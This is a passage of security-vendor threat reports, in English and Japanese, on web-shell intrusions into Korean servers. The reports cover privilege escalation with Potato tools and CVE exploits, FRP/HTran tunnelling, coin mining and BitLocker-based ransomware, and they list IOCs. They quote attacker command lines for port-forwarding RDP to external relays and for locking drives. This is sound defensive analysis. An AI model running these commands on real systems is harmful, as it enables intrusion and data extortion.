different PACS product. Multiple web shell upload attempts were identified on the targeted web server, and although specific details were not confirmed, it is presumed that there may be vulnerabilities in the PACS product or that the administrator did not properly configure security settings. It is believed that two threat actors carried out attacks on this server a few days apart from one another because web shell upload attacks occurred twice and no direct correlation was found between the two attacks. Both attacks are suspected to have been carried out by Chinese-speaking threat actors, as many of the tools used, such as Cpolar and RingQ, were developed in Chinese, and Chinese annotations were identified. Notably, a significant number of attacks targeting vulnerable web servers in Korea are presumed to be cases involving Chinese-speaking threat actors. [1] [2] [3] 1. First Attack Case In the initial attack identified, the threat actor used web shells such as Chopper and Behinder. After successfully uploading the web shells, the threat actor used the following commands to collect system information. > whoami > ipconfig > tasklist > systeminfo > netstat -ano > query user > ping 8.8.8.8 Subsequently, the threat actor installed the privilege escalation tool BadPotato and the proxy tool Cpolar through the installed web shells. Cpolar is a tunneling tool created by a Chinese developer, similar to Ngrok. These tools are typically used to expose systems located within a NAT environment to external sources, enabling threat actors to remotely access them via RDP from the outside. The threat actor then installed a CoinMiner by first downloading the “1.cab” file. Inside the “1.cab” file were the batch script malware “1.bat”, an XML file for task scheduler registration, and a CoinMiner downloader. The downloader also downloads and installs a zip file from an external source. Additionally, Chinese-language annotations can be found in the “1.bat” file used to install the CoinMiner. Therefore, it can be inferred that the threat actor is a Chinese-speaking user based on the use of Cpolar, which is preferred by Chinese users over Ngrok, and the presence of Chinese annotations in the attack script. The threat actor used the aforementioned malware to install XMRig, but the actual download address contained many more types of malware. Among the web shells were Caidao and ASPXspy, and in addition to BadPotato, there were other privilege escalation tools such as GodPotato, PrintNotifyPotato, and IIS LPE (by k8gege). Additionally, other port forwarding tools besides Cpolar, such as Frpc and Lcx, were uploaded, and there was malware designed to add user accounts for future remote access. The “useradd.exe” malware, when provided with the user account to be added as an argument, adds the account with a random password and displays the result. Mining Pool sinmaxinter[.]top:7005 Table 1. Mining pool address used in the first attack case 2. Second Attack Case The second attack occurred several days after the first attack. Similar to the previous case, the threat actor installed web shells such as Godzilla, Chopper, and Behinder during their initial access process. After successfully uploading the web shells, the threat actor used the following commands to collect system information. > whoami > systeminfo > netstat -ant A distinctive characteristic of the second attack was the use of Certutil to download additional malware. The threat actor installed GodPotato and PrintNotifyPotato for privilege escalation purposes along with the CVE-2021-1732 vulnerability malware. They installed the Fscan tool and a remote shell to explore the network where the infected system resides, and they installed Netcat to control the infected system. Unlike the previous case where Cpolar, Frpc, and Lcx were used, this time EarthWorm was used as a proxy tool. The threat actor also installed Ladon. Ladon offers various functions needed in the attack process; major functions include scanning, privilege escalation, account credential theft, and reverse shell. Ladon was created by a developer who speaks Chinese, and as a result, there is a tendency for threat actors who are Chinese speakers to frequently use it. Another indication suggesting that the threat actor is a Chinese-speaking user is the involvement of a tool called RingQ in the attack. RingQ can be described as an injector tool that encrypts typical malware and tools to prevent easy detection by anti-malware products, then executes them in the memory. The threat actor encrypts malware using “Create.exe” and distributes it as “main.txt” to bypass file-based detection by anti-malware products. Subsequently, executing RingQ runs the encrypted malware, “main.txt,” in the memory area. Similar to the first case, the ultimate goal of the threat actor is to install a CoinMiner. Most of the ASPX files uploaded by the threat actor are web shells, but there is also an ASPX malware that acts as a downloader. This malware downloads an additional payload named “aspx.exe” from an external source and executes it. “aspx.exe” serves as a downloader that downloads and runs XMRig CoinMiner in the memory area. Mining Pool c3.wptask[.]cyou:33333 sky.wptask[.]cyou:9999 auto.c3pool[.]org:33333 auto.skypool[.]xyz:9999 141.11.89[.]42:8443 141.11.89[.]42:995 141.11.89[.]42:465 45.147.51[.]78:465 45.147.51[.]78:995 45.130.22[.]219:995 45.130.22[.]219:465 info.perflogs[.]top:995 pop3.wptask[.]cyou:995 smtp.wptask[.]cyou:465 Table 2. Mining pool addresses used in the second attack case 3. Conclusion Attacks targeting web servers continue to occur persistently, with recent cases observed targeting a Korean medical institution. The attacks occurred twice with a gap of several days, and based on various indicators, the threat actors in both instances are suspected to be Chinese-speaking users, with the ultimate goal of mining cryptocurrency using CoinMiner. Remote control is facilitated through installed web shells and NetCat, and given the installation of proxy tools aimed at RDP access, data exfiltration by the threat actors is a distinct possibility. Administrators must check for the file upload vulnerability in web servers to prevent the initial access path of web shell uploads in advance. Furthermore, the password must be changed periodically and access control measures must be put in place to respond to lateral movement attacks using stolen account credentials. Also, V3 should be updated to the latest version so that malware infection can be prevented. File Detection – WebShell/ASP.Agent.SC200079 (2024.06.17.02) – WebShell/ASP.Agent.SC199712 (2024.05.24.00) – WebShell/ASP.Agent.SC199713 (2024.05.24.00) – WebShell/ASP.Agent.SC199714 (2024.05.24.00) – WebShell/ASP.Agent (2024.05.24.00) – Downloader/ASP.Malurl.SC199711 (2024.05.24.00) – WebShell/JSP.Behinder.SC188179 (2023.05.12.01) – WebShell/ASP.Generic.S2184 (2023.03.22.03) – WebShell/ASP.ASpy.S1362 (2021.02.02.07) – WebShell/ASP.Generic.S1855 (2022.06.16.00) – WebShell/ASP.Small.S1378 (2021.02.24.02) – WebShell/ASP.Small.S1400 (2021.03.16.02) – WebShell/ASP.Generic.S1422 (2021.03.30.03) – WebShell/ASP.Generic.S1775 (2022.04.14.00) – HackTool/Win.BadPotato.C4177837 (2023.09.01.00) – Downloader/Win.Miner.C5626012 (2024.05.27.00) – Trojan/Win.Potato.C5626014 (2024.05.27.00) – HackTool/Win.Frpc.C5626022 (2024.05.27.00) – HackTool/Win.Cpolar.C5641794 (2024.06.17.03) – Trojan/Win.Miner3.R647471 (2024.05.08.02) – Unwanted/Win.NSSM.C5625980 (2024.05.27.00) – Downloader/Win.Miner.C5625979 (2024.05.27.00) – HackTool/Win.RingQ.C5625987 (2024.05.27.00) – Dropper/Win.Generic.C5624814 (2024.05.24.00) – Trojan/Win.Generic.C5501120 (2023.10.06.03) – Trojan/Win.AddUser.R649913 (2024.05.27.00) – Trojan/Win.Generic.C5584377 (2024.02.05.02) – Trojan/Win.MSILMamut.C5410538 (2023.04.13.01) – HackTool/Win.Cpolar.C5641787 (2024.06.17.03) – Exploit/Win.PrintNotifyPotato.R561362 (2023.08.14.00) – HackTool/Win.Frpc.C5641788 (2024.06.17.03) – HackTool/Win.Htran.C5626020 (2024.05.27.00) – Exploit/Win.Consoler.R548809 (2023.01.05.03) – HackTool/Win.LCX.C5626011 (2024.05.27.00) – HackTool/Win32.Earthworm.C2185399 (2017.10.10.07) – HackTool/Win.Netcat.C5355532 (2023.01.11.02) – HackTool/Win.Netcat.C5283500 (2022.10.18.03) – Trojan/XML.Runner (2024.06.18.00) – CoinMiner/BAT.Agent (2024.06.18.00) – Trojan/BAT.AddUser (2024.06.18.00) – Trojan/BAT.AddUser (2024.06.18.00) – HackTool/Script.Frpc (2024.06.18.00) Behavior Detection – Malware/MDP.Download.M1900 – Execution/MDP.NetCat.M4516 MD5 10b6e46e1d4052b2ad07834604339b57 10cf4d43163ee395ddad1fe7e777e2c9 1fdb1dd742674d3939f636c3fc4b761f 205e6247f5a0dce8a55910354c816a61 2183043b19f4707f987d874ce44389e3 URL http[:]//1[.]119[.]3[.]28[:]7455/ http[:]//14[.]19[.]214[.]36/11[.]exe http[:]//14[.]19[.]214[.]36/RingQ[.]exe http[:]//14[.]19[.]214[.]36/aa[.]aspx http[:]//14[.]19[.]214[.]36/ew[.]exe Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
ASEC <strong>韓国国内の企業をターゲットにした FRP(Fast Reverse Proxy)を使用する攻撃グループ</strong> 2022-08-31
最近、外部に公開された脆弱なサーバーを手掛かりに侵入した攻撃者が、内部ネットワークまで掌握する侵害事例が、韓国国内の企業を対象に頻繁に起きている。 脆弱な Atlassian Confluence サーバーをターゲットにした攻撃事例 韓国国内の医療機関の脆弱なサーバをターゲットに拡散する Meterpreter 脆弱な MySQL サーバーをターゲットに拡散している AsyncRAT マルウェア 今回の事例は IIS Web サーバーや MS Exchange サーバーの侵害事例として過去に認知されているタイプと同じだが、個人ではなく 特定の攻撃グループと推定 される事例を紹介する。このグループの最大の特徴は、 FRP オープンソースツールを使用 するという点である。このグループは、外部からアクセス可能なサーバーを見つけて攻撃し、侵入に成功すると権限昇格を試みる。 その後、より完全なアクセス制御のために FRP(Fast Reverse Proxy)や LCX(Htran と呼ばれる)ツールをインストールするが、特に FRP ツールを主に使用している。また、FRP をインストールするときに特定のダウンロードアドレスを使用するが、FRP がアップロードされているダウンロードサーバーは 韓国国内企業の Web サーバーであり、攻撃者がすでに掌握したあとで悪用 しているものと見られる。この他にも FRP をインストールする際に 特定のファイル名を使用 したり、別の韓国国内企業のサーバーを掌握して FRP を使用するときに必要な 中継サーバーとして悪用 したという点が特徴である。 現在侵害が発生したと推定される企業は 半導体企業、射出成形機企業、リゾート企業、建設企業、ソフトウェア企業等の20か所余りで、攻撃者は具体的な分野に絞らず攻撃を試みた ものと見られる。特に今回のケースは外部の脆弱なサーバーを皮切りに、最終段階のランサムウェアにまで感染した事例があるため、特に注意が必要である。 1. ASP Web シェル 脆弱な Web サーバーを対象とする攻撃のほとんどには、Web シェルが利用される。Web シェルは Web サーバーにアップロードされ、ファイルの検索やシステムのシェルコマンドを実行できるようにするファイルであり、攻撃対象のシステムにインストールされると、攻撃者は持続性を維持しながら感染先のシステムをコントロールできる。 Web サーバーによってサポートする言語が異なるが、それはつまり Web シェルの言語も異なることを意味する。例えば PHP をサポートする Apache Web サーバーでは PHP Web シェルが使用され、Tomcat のような Java 環境では JSP、IIS Web サーバーは ASP および ASPX で開発された Web シェルが使用される。 ここでは脆弱な IIS Web サーバーを対象に攻撃を行った事例を取り上げるため、ASPX(ASP) Web シェルが攻撃に使用されている。ASPXSpy は代表的な ASPX Web シェルであり、攻撃者が多数の攻撃に使用してきた履歴が確認されている。 i. ASPXSpy [図1] AspxSpy Web シェルのルーティン ASPXSpy はパスワードを必要とするため、インストールされたパスに接続したあと、パスワード入力ウィンドウで正確なパスワードを入力することで、以下のようなコントロールパネルを使用できる。(参考に、パスワードは MD5 のハッシュ値を比較して検証するが、上記の Web シェルは攻撃者がパスワードを変更したものであり「admin」ではない) [図2] AspxSpy Web シェルを利用した遠隔操作 攻撃者はこのパネルから情報照会、ファイル生成、プロセスの実行のような様々な不正な振る舞いを実行できる。 2. 権限昇格 アップロードされた Web シェルは IIS Web サーバープロセス、すなわち w3wp.exe プロセスにより実行される。一般的に w3wp.exe プロセスは低いレベルの権限を持っているため、不正な振る舞いを正常に実行するためにはより高い権限を必要とする。そのため、攻撃者は様々なツールを利用して高い権限を取得する権限昇格プロセスが必要である。 [図3] Web サービスのアカウントにより実行される IIS Web サーバープロセス 攻撃者は一般的に JuicyPotato、SweetPotato のようなマルウェアを利用しており、これ以外にも様々なローカル権限昇格(LPE:Local Privilege Escalation)の脆弱性 PoC を使用した履歴も確認されている。ここでは、権限昇格段階において使用されたそれぞれの事例についてまとめる。 [図4] Web シェルで whoami コマンドを利用して権限を確認 2.1. Potato Potato は Github に公開されたオープンソースの権限昇格(Privilege Escalation)ツールである。現在実行中のプロセスのアカウントのトークンのうち、特定の権限(Privilege)を悪用する方式であり、システム権限により権限を昇格させる機能を提供する。 [図5] w3wp.exe サーバープロセスの Privilege リスト IIS Web サーバーでは w3wp.exe プロセスが Web サービスを担当し、MS-SQL サーバーでは sqlservr.exe プロセスが MS-SQL サービスを担当する。例えば w3wp.exe プロセスは IIS Apppool\DefaultAppPool がサブジェクトとして実行されるが、この場合は一般的な管理者や標準のユーザーアカウントとは異なり、プロセスおよびファイルのような様々な機能を実行するのに制約がともなう。 すなわち、攻撃者は Web シェルや辞書攻撃によって当該プロセスを制御できたとしても適切な権限が存在しないため、意図した不正な振る舞いを実行させることはできない。そのために権限の昇格が必要となるが、一般的に w3wp.exe プロセスや sqlservr.exe プロセスが SeAssignPrimaryToken または SeImpersonate 権限を持っている。ほとんどの Potato ツールはこのように SeAssignPrimaryToken または SeImpersonate 権限が有効になっているプロセスを悪用し、システム権限、すなわち NTAUTHORITY\SYSTEM アカウントに権限を昇格し、成功すると攻撃者は当該システム内で制約を受けることなくほとんどの不正な振る舞いを実行できる。 Potato 権限昇格ツールは JuicyPotato、RoguePotato、RottenPotato 等、複数の種類がある。しかし、韓国国内で確認されたほとんどの事例の場合、3つの種類の Potato ツールが使用されていた。 Potato 種類 MD5 JuicyPotato 0311ee1452a19b97e626d24751375652 808502752ca0492aca995e9b620d507b 4bafbdca775375283a90f47952e182d9 BadPotato 9fe61c9538f2df492dff1aab0f90579f ab9091f25a5ad44bef898588764f1990 87e5c9f3127f29465ae04b9160756c62 SweetPotato fd0f73dd80d15626602c08b90529d9fd 937435bbcbc3670430bb762c56c7b329 [表1] 攻撃に使用された Potato ツール 2.2. 脆弱性 (エクスプロイト) 攻撃者は Potato タイプのマルウェア以外にも、Github に公開されている様々な権限昇格の脆弱性(LPE:Local Privilege Escalation)の PoC を利用している。以下は、攻撃に使用された脆弱性とそれぞれの脆弱性を悪用する PoC マルウェアのリストである。 脆弱性 タイプ MD5 備考 CVE-2018-8440 LPE 4c56462a3735dba9ee5f132f670e3fb1 https://github.com/alpha1ab/Win2016LPE CVE-2019-1405 + CVE-2019-1322 LPE 2e2ddfd6d3a10d5dd51f8cbdeaeb4b75 6a60f718e1ecadd0e26893daa31c7120 https://github.com/apt69/COMahawk CVE-2021-1675 LPE e81a9b194cf1bcd4f1bbf21338840ece https://github.com/evilashz/CVE-2021-1675-LPE-EXP CVE-2021-1732 LPE d406d8889dc1f2d51954808f5587415d ed1762b09d0a966d7a2d6c9167ea5499 https://github.com/KaLendsi/CVE-2021-1732-Exploit CVE-2021-36934 LPE 055cc4c30260884c910b383bb81cf7c8 https://github.com/GossiTheDog/HiveNightmare CVE-2021-40449 LPE b08b660ed646c390d5a254070123c74c https://github.com/ly4k/CallbackHell CVE-2022-21882 LPE 018dd881f5bf9181b70f78d7d38bd62a https://github.com/sailay1996/cve-2022-21882-poc CVE-2022-21999 LPE 31eb70dc11af05ec4d5cda652396970c b77e3a7e13e39829383fabf436e9c8f2 (Payload) https://github.com/ly4k/SpoolFool [表2] 攻撃に使用された脆弱性 PoC マルウェア 以下は CVE-2021-1732 の脆弱性を利用して権限を昇格する PoC である。権限を昇格したあと、引数として渡された whoami を実行し、結果として、システムアカウントへの権限昇格に成功していることがわかる。 [図6] CVE-2021-1732 PoC マルウェア 以下は CVE-2022-21999 PoC であり、権限の昇格後に指定した DLL をロードしてマルウェアを実行させることができる。攻撃に使用された DLL は PoC と同じだが、DLL は admin アカウントを生成してパスワードを Passw0rd! に設定する機能を担う。その後、攻撃者はこのようにして登録されたアカウントでリモートアクセスを行い、感染先のシステムを掌握することができる。 [図7] CVE-2022-21999 PoC マルウェア 3. プロキシ & ポートフォワーディング 3.1. FRP FRP(Fast Reverse Proxy)は主に、直接通信が不可能なイントラネット PC に外部からアクセスが可能なように中継サーバーを配置して構成するオープンソースツールである。すなわち、攻撃対象 PC のファイアウォールのインバウンド規則を回避したり、対象 PC(Victim)に攻撃者のアドレスを残さない特徴を持っており、以前から攻撃者たちによって頻繁に使用されている。 [図8] FRP オープンソースツール( https://github.com/fatedier/frp ) Frp は大きく分けて Frps と Frpc の2種類がある。Frps は中継サーバーにインストールされるファイルで、攻撃者と攻撃対象の接続を成立させる役割を担い、設定には「Frps.ini」を参照してユーザーが任意に設定できる。これで、接続ポートおよびロギング方法等を決定する。したがって、Frps は攻撃者と攻撃対象 PC の両方がアクセス可能な中継サーバーにインストールされなければならない。 Frpc は攻撃者が攻撃しようとする対象の PC にインストールされるファイルであり、設定には Frps の設定方法と同じく「Frpc.ini」を通じて TCP や UDP、HTTP 等、攻撃者が使用するネットワーク通信の方法と Frps に使用されるポート番号(remote_port)と、実際のポート番号(local_port)等をユーザーが任意に設定できる。悪用される場合は、通常外部から直接接続することが困難な NAT 環境の企業 PC にインストールされる。 FRP 接続プロセスは以下の通りである。 [図9] FRP を利用した RDP 接続プロセス(X、Y、Z は任意のポート番号) 上図を参照すると、まず Frps.exe を中継サーバーにインストールする。Frps.exe は Frps.ini 設定ファイルを参照して Frpc.exe がアクセスできるように接続ポート(7000番)を開放して接続を待機する。その後、攻撃対象の PC にインストールされている Frpc.exe を実行させて中継サーバー(Frps.exe)との接続を試みるが、これは攻撃者と攻撃対象の PC を間接的に接続するため、Reverse Proxy 方式を用いる。中継サーバーと攻撃対象の PC の接続が完了すると、攻撃者は特定のプロトコル(RDP)で中継サーバーの特定ポート(23389番)に接続を試みる。 中継サーバーは特定ポート(23389番)をモニタリングし、接続が確認されると当該データを接続ポート(7000番)を通じて攻撃対象の PC に伝達する。その後データを受け取った攻撃対象の PC では、当該プロトコル(RDP)に合ったローカルポート(3389番)にフォワードしてタスクを完了する。したがって、以下のように接続が可能となる。 [図10] RDP 接続の完了(6段階) FRP ツールは、攻撃者たちが主に「リモートデスクトップ接続」のために使用している。リモートデスクトップ接続は Windows がデフォルトで提供しているツールであり、RDP 通信を利用して遠隔地のサーバーを直接使用しているかのように接続する方法をいう。しかしながら、企業の場合はネットワーク構成の際にネットワークを分離したりファイアウォールを使用したりして、外部からの直接的なアクセスができないように設計されている。したがって、攻撃者は直接アクセスするのが困難な企業環境の PC に Frpc をインストールし、Frps は外部からのアクセスが可能であり、かつ当該 PC との接続が可能な中継サーバーにインストールして RDP 通信を試みるのである。 FRP を使用した特定の攻撃グループは、以下のような特徴を持っている。 1) Frpc のファイル名、ファイルパスが同じ 2) Frpc のダウンロード URL が同じ 3) 韓国国内企業のサーバーを中継サーバー(Frps)として使用 まずは、韓国国内の侵害を受けた企業において確認された Frpc のインストール先である。 %ALLUSERSPROFILE%\update.exe %ALLUSERSPROFILE%\info.zip %ALLUSERSPROFILE%\f.zip %ALLUSERSPROFILE%\t.zip %ALLUSERSPROFILE%\frpc.exe %SystemDrive%\perflogs\update.exe %SystemDrive%\temp\update.exe %SystemDrive%\temp\info.zip %SystemRoot%\temp\frpc.exe [表3] 攻撃者がよく使用する Frpc.exe のダウンロードパス 上記[表3]の赤文字は多くの企業で共通して確認されたファイル名であり、特定グループの攻撃者は主に Frpc ファイルを update.exe(update.zip) あるいは info.exe(info.zip) の名前でインストールしている。また、攻撃者が使用した Frpc ダウンロード URL は、韓国国内の侵害を受けた企業のサーバーを悪用していることが確認された。 – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/info.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/f.zip [表4] 攻撃者が使用した Frpc のダウンロード URL (要検討) この他にも、攻撃者は外部から接続が可能な PC であっても FRP を通じて接続するように設定しているが、FRP で使用される中継サーバー(Frps)のプログラムを特定の韓国国内企業にインストールしていることから、韓国国内の IP によって疑われる事を避けることで接続を維持し、また自分たちの IP を隠蔽するために使用しているものと推定される。したがって、Frps がインストールされた韓国国内企業のサーバーも攻撃者によって掌握されているものと思われる。 2022年、韓国国内企業のサーバーのうち中継サーバーとして利用された企業は、現在まで2か所確認されている。下図のように、Remote IP と確認されるサーバーが中継サーバーで Frps がインストールされ、左の Local IP が攻撃者の操作対象となる Frpc がインストールされたサーバーである。 [図11] 2022年、韓国国内の企業を中継サーバー(Frps)として使用した事例 これらの中継サーバーは、以下のように接続が可能である。 [図12] 中継サーバーの役割(Frps)をする、接続可能な韓国国内企業 A のサーバー 3.2. HTran(LCX) ポートフォワーディングとは、特定のポートから渡されたデータを別のポートに伝達する機能である。このようなポートフォワーディングをサポートする代表的なツールとしては、過去から使用されている HTran があり、ソースコードが公開されているため、様々な攻撃者たちによって最近でも使用されている。 ここでは、当該ツールに関する簡単な情報と共に、攻撃者がこれを利用した実際の攻撃事例を取り上げる。まず、HTran は以下のように3つのモードがサポートされている。 [図13] HTran の使用法 このうち、「-tran」モードは特定のポートから渡されたデータを特定のアドレスに伝達する機能を提供する。以下のコマンドラインは、実際に攻撃者が HTran を rdpclip という名前で生成したあとで実行したコマンドである。参考に、rdpclip は攻撃者がソースコードを改ざんして引数からオプションを削除しており、代わりに引数の個数を利用してどのような機能なのかを把握して動作する。 > %SystemRoot%\debug\rdpclip 110 127.0.0.1 3389 このような引数を受け取って実行される場合、110番ポートにバインドされているが、外部の攻撃者が110番ポートに接続する場合、ローカルの3389番ポートにフォワーディングする。これによって攻撃者は感染先のシステムに RDP を接続する際、3389番ポートの代わりに110番ポートに接続しても、正常にリモートデスクトップを使用することができる。 以下は、攻撃に使用された rdpclip を利用したテストである。ここではローカルシステムの4444番ポートとローカルシステムの80番ポートをフォワーディングするコマンドを実行した。この場合、外部から「192.168.204.131:4444」アドレスに接続しても「192.168.204.131:80」ポートに接続した時と同じ結果が得られる。 [図14] ポートフォワーディングを利用したテスト 次に、「-listen」モードだが、引数で2つのポート番号を渡され、それぞれのポートにバインドして待機する。2つの引数によりすべての接続が確立すると、2つのうち一方のポートから渡されたデータを別のポートにフォワーディングする。一般的に「-listen」モードは「-slave」モードと同時に使用されるものと思われる。「-slave」モードは「-tran」モードと類似しているが、「-tran」モードがローカルシステムの特定ポートを開放して待機するのに対し、「-slave」は指定したアドレスに直接接続する。 以下は上記と同じマルウェアであり、名前だけが「p」に変更されて引数でモードの種類を伝達されないが、個数が4個であることにより「-slave」モードで実行される。このような引数を受け取って実行される場合 A( 1**.**.***.*8 ):1000 のアドレスに接続を試み、接続が確立するとローカルシステムの3389番ポートにフォワーディングする。 > p 1**.**.***.*8 1000 127.0.0.1 3389 システム A:1000 では以下のように HTran が「-listen」モードで実行中と思われる。(例示のために最初の引数を80で使用)これにより、攻撃者は A:80 のアドレスにアクセスして攻撃対象のシステムに RDP 接続が可能になる。 A で実行中だった HTran が80番ポートから渡されたデータを1000番ポートに伝達し、1000番ポートは攻撃対象のシステムで実行中の HTran と接続されているためである。最終的に攻撃対象のシステムの HTran は渡されたデータをローカルシステムの3389番ポートへフォワーディングする。 > HTran.exe 1000 80 以下は、別の例示である。c.txt が HTran であり、特に修正事項がない形として「-slave」と同じ引数もそのまま使用する。以下のコマンドによって実行された HTran は B( 1**.***.**.*3 ):443 のアドレスと C (2**.***.**.6 ):1433 のアドレスの間で、プロキシとして動作する。すなわち、攻撃者は B の特定アドレスにアクセスすることにより C:1433 すなわち C システムの MS-SQL サーバーにアクセスできるようになる。 > %SystemDrive%\webdriver\chrome\c.txt -slave 1**.***.**.*3 443 2**.***.**.6 1433 [図15] 攻撃者が使用した HTran のコマンド[그림 15] 공격자가 사용한 HTran 명령 4. ランサムウェアの感染事例(BitLocker) 現在までに確認されている事例のうち、当該グループによるランサムウェアへの感染事例はまだそれほど多くはない。攻撃グループはランサムウェアを新たに作成せず、Windows の正常な暗号化プログラムである BitLocker を悪用してディスクの暗号化を実行している。BitLocker は Windows が独自に提供するディスク暗号化ツールで、本来はディスクのセキュリティのために使用されるものである。これはコマンドライン方式をサポートしているが、基本的に Manage-bde というコマンドを使用して BitLocker 機能を使用することができ、ドライブをロックするとアクセスする際に暗号が必要である。 攻撃者は、以下のようなコマンドによって暗号化を実行した。暗号は、以下のコマンドを入力すると GUI ウィンドウを通じて設定できる。 (F: ドライブ名は一例) CMD> “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T F: ドライブボリュームの暗号化および使用する暗号の入力 [図16] コマンドライン入力時の暗号入力ウィンドウ ドライブの暗号化設定後、以下のコマンドのように lock を通じてドライブにアクセスができないようにする。 CMD> manage-bde -lock -ForceDismount F: F: ドライブボリュームのロック設定(アクセス不可) したがって、ロックが完了するとユーザーは暗号を入力しないとアクセスができない。 [図17] ドライブのロック完了 攻撃者が使用したランサムノートは、以下の通りである。 [図18] 攻撃者のランサムノート[그림 18] 공격자의 랜섬노트 今回の事例における攻撃プロセスを要約すると、攻撃者は IIS Web サーバーや MS Exchange サーバーのような外部からのアクセスが可能な、脆弱な企業 PC をターゲットにスキャンして攻撃を試みる。その後、Web シェル等を利用してシステムの一部にアクセスし、権限昇格(Privilege Escalation)をサポートする Potato ツールや Exploit ツールを悪用してシステム権限を取得する。その次に、対象システムをより容易に操作するため、LCX や FRP ツールをインストールして外部から RDP で接続ができるように設定し、内部伝播および最終段階(情報流出およびランサムウェア)を実行した。 そのため、サーバー管理者はサーバー構成環境が脆弱である場合は最新バージョンのパッチを適用し、既知の脆弱性による被害を事前に防止しなければならない。また、外部に開放されているサーバーの場合、セキュリティ製品を利用して、部外者からのアクセスを制限する必要がある。 [ ファイル検知 ] – WebShell/Script.Generic (2020.12.11.09) – WebShell/ASP.ASpy.S1361 (2021.02.02.03) – WebShell/ASP.Generic.S1855 (2022.06.22.03) – WebShell/ASP.Small.S1378 (2021.02.24.02) – JS/Webshell (2011.08.08.03) – HackTool/Win.SweetPotato.R506105 (2022.08.04.01) – Exploit/Win.BadPotato.R508814 (2022.08.04.01) – HackTool/Win.JuicyPotato.R509932 (2022.08.09.03) – HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00) – Exploit/Win.JuicyPotato.C425839(2022.08.04.01) – Exploit/Win.SweetPotato.C4093454 (2022.08.04.01) – Exploit/Win32.Consoler.R372759 (2021.03.18.00) – Exploit/Win.HiveNightmare.R433315 (2021.07.23.02) – Malware/Win64.Generic.C3164061 (2019.04.20.01) – Malware/Win64.Generic.C3628819 (2019.12.11.01) – Exploit/Win.Agent.C4448815 (2021.05.03.03) – Exploit/Win.CVE-2022-21999.C4963688 (2022.02.11.03) – Trojan/Win.Generic.C4963786 (2022.02.11.04) – Trojan/Win.Exploit.C4997833 (2022.03.08.01) – Ransomware/Win.CVE.C5065885(2022.04.11.01) – Exploit/Win.Agent.C5224192 (2022.08.17.00) – Exploit/Win.Agent.C5224193 (2022.08.17.00) – Unwanted/Win.Frpc.C5222534 (2022.08.13.01) – Unwanted/Win.Frpc.C5218508 (2022.08.03.03) – Unwanted/Win.Frpc.C5218510 (2022.08.03.03) – Unwanted/Win.Frpc.C5218513 (2022.08.03.03) – HackTool/Win.Frpc.5222544 (2022.08.13.01) – HackTool/Win.Frp.C4959080 (2022.02.08.02) – HackTool/Win.Frp.C5224195 (2022.08.17.00) – Unwanted/Win.Frpc.C5162558 (2022.07.26.03) – Malware/Win.Generic.C5173495 (2022.06.18.00) – HackTool/Win.LCX.C5192157 (2022.07.04.02) [IOC] MD5 ASP WebShell – e31b7d841b1865e11eab056e70416f1a – 612585fa3ada349a02bc97d4c60de784 – 3921d444a251661662f991b147e22bc3 – c802dd3d8732d9834c5a558e9d39ed37 – 6b4c7ea91d5696369dd0a848586f0b28 – 07191f554ed5d9025bc85ee1bf51f975 Potato – 0311ee1452a19b97e626d24751375652 (JuicyPotato) – 808502752ca0492aca995e9b620d507b (JuicyPotato) – 4bafbdca775375283a90f47952e182d9 (JuicyPotato) – 9fe61c9538f2df492dff1aab0f90579f (BadPotato) – ab9091f25a5ad44bef898588764f1990 (BadPotato) – 87e5c9f3127f29465ae04b9160756c62 (BadPotato) – fd0f73dd80d15626602c08b90529d9fd (SweetPotato) – 937435bbcbc3670430bb762c56c7b329 (SweetPotato) Exploit – 4c56462a3735dba9ee5f132f670e3fb1 – 2e2ddfd6d3a10d5dd51f8cbdeaeb4b75 – 6a60f718e1ecadd0e26893daa31c7120 – e81a9b194cf1bcd4f1bbf21338840ece – d406d8889dc1f2d51954808f5587415d – ed1762b09d0a966d7a2d6c9167ea5499 – 055cc4c30260884c910b383bb81cf7c8 – b08b660ed646c390d5a254070123c74c – 018dd881f5bf9181b70f78d7d38bd62a – 31eb70dc11af05ec4d5cda652396970c – b77e3a7e13e39829383fabf436e9c8f2 Frpc – 27303a52d7ebd666d2a84529f2c86b3c – 4eb5eb52061cc8cf06e28e7eb20cd055 – 622f060fce624bdca9a427c3edec1663 – 72decb30e84cfe0d726f26c4f45dc1b0 – 7d9c233b8c9e3f0ea290d2b84593c842 – d862186f24e644b02aa97d98695c73d8 – df8f2dc27cbbd10d944210b19f97dafd – 8de8dfcb99621b21bf66a3ef2fcd8138 HTran – 47f091b0bfa0f3d6e6943d7f178a4dff – 1b562817eadfb12f527bf25bf5c803b1 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
ASEC Attackers Using FRP (Fast Reverse Proxy) to Attack Korean Companies 2022-08-16
Recently, there have been frequent incidents where attackers infiltrated and took control of the internal network of Korean companies, starting with vulnerable servers externally exposed. Cases of Attacks Targeting Vulnerable Atlassian Confluence Servers Meterpreter Distributed to Vulnerable Server of Korean Medical Institution AsyncRAT Being Distributed to Vulnerable MySQL Servers This is a case of infiltration into an IIS web server or an MS Exchange server and is the same as previously known types. However, this post will discuss cases that are presumed to be done by a certain hacker group , not by individual attackers. The most significant characteristic of this group is that they use FRP open-source tools . This group finds a server accessible from outside and attacks it, and when infiltration is successful, privilege escalation is attempted. Afterward, for more complete access control, FRP (Fast Reverse Proxy) or LCX (commonly referred to as HTran) tool is installed, and the use of FRP tools is particularly more common. And when FRPs are installed, they use a certain download address, and download servers where FRPs are uploaded are deemed to be web servers of Korean companies which hackers have already taken over . Other characteristics include using particular file names when installing FRPs or overtaking another Korean company’s server to abuse as a relay server needed for using FRPs. Around 20 businesses appear to have been infiltrated, including semiconductor, injection machine, resort, construction, and software companies. It seems that hackers have performed attacks without specific targets . Since this includes cases where the attack started on a disclosed and vulnerable server and then escalated to the final stage of ransomware infection, particular discretion is advised. 1. ASP Webshell Most attacks that target vulnerable web servers use Webshell. Webshell is a file that is uploaded onto web servers and can execute file searches or system shell commands, and when this is installed on a target system for attacks, hackers can maintain continuity while controlling the infection system. The language supported differs by web server and that also means that the language of the Webshell differs. For example, an Apache web server that supports PHP uses a PHP web shell, Java environment such as Tomcat uses a JSP, and an IIS web server uses a web shell developed by ASP and ASPX. Because this case includes 